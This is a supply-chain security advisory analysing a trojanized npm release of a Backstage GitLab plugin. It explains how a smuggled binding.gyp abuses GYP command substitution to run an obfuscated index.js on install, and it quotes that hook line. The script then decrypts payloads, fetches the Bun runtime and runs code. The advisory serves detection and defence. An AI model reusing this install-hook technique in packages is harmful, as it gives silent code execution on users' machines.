LWA-2026-6081 MAL-2026-6526 ↗ confirmed malware

@immobiliarelabs/backstage-plugin-gitlab@1.0.1

Malicious code in @immobiliarelabs/backstage-plugin-gitlab (npm)

T1140 · Deobfuscate/Decode Files or InformationT1027 · Obfuscated Files or Information

Analysis

This version is a trojanized republish of a legitimate Backstage GitLab plugin. The package.json only lists dist/ as its published files, but the tarball smuggles in two extra root-level files that do not belong to the real plugin: a binding.gyp and an index.js. The binding.gyp declares a native build target whose source list abuses GYP command-substitution syntax: "<!(node index.js > /dev/null 2>&1 && echo stub.c)". Because npm automatically runs node-gyp whenever a binding.gyp is present (no install/postinstall script is needed), this causes node index.js to run during configuration on every install of the package - even though it is a pure frontend plugin that ships no C/C++ sources and has no reason to build a native addon. index.js is a single obfuscated line that eval()s the output of a Caesar-cipher decoder over a very large character-code array. Decoding it reveals an async routine that uses node:crypto to AES-128-GCM-decrypt two embedded ciphertext blobs with hardcoded keys. The first blob bootstraps a downloader: it creates a temp directory, fetches the Bun JavaScript runtime from the official Bun GitHub release (bun-v1.3.13) via curl, unzips it, and chmods it executable. The second, larger encrypted blob is the actual payload, which is then executed using the just-downloaded Bun runtime. The result is silent install-time remote code execution staged through a fake native-build hook and layered Caesar+AES obfuscation.

analyzed by
Leitwacht
first seen
Jun 26, 2026, 03:17 PM
analyzed
Jun 28, 2026, 06:12 AM
weekly installs
9,457

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.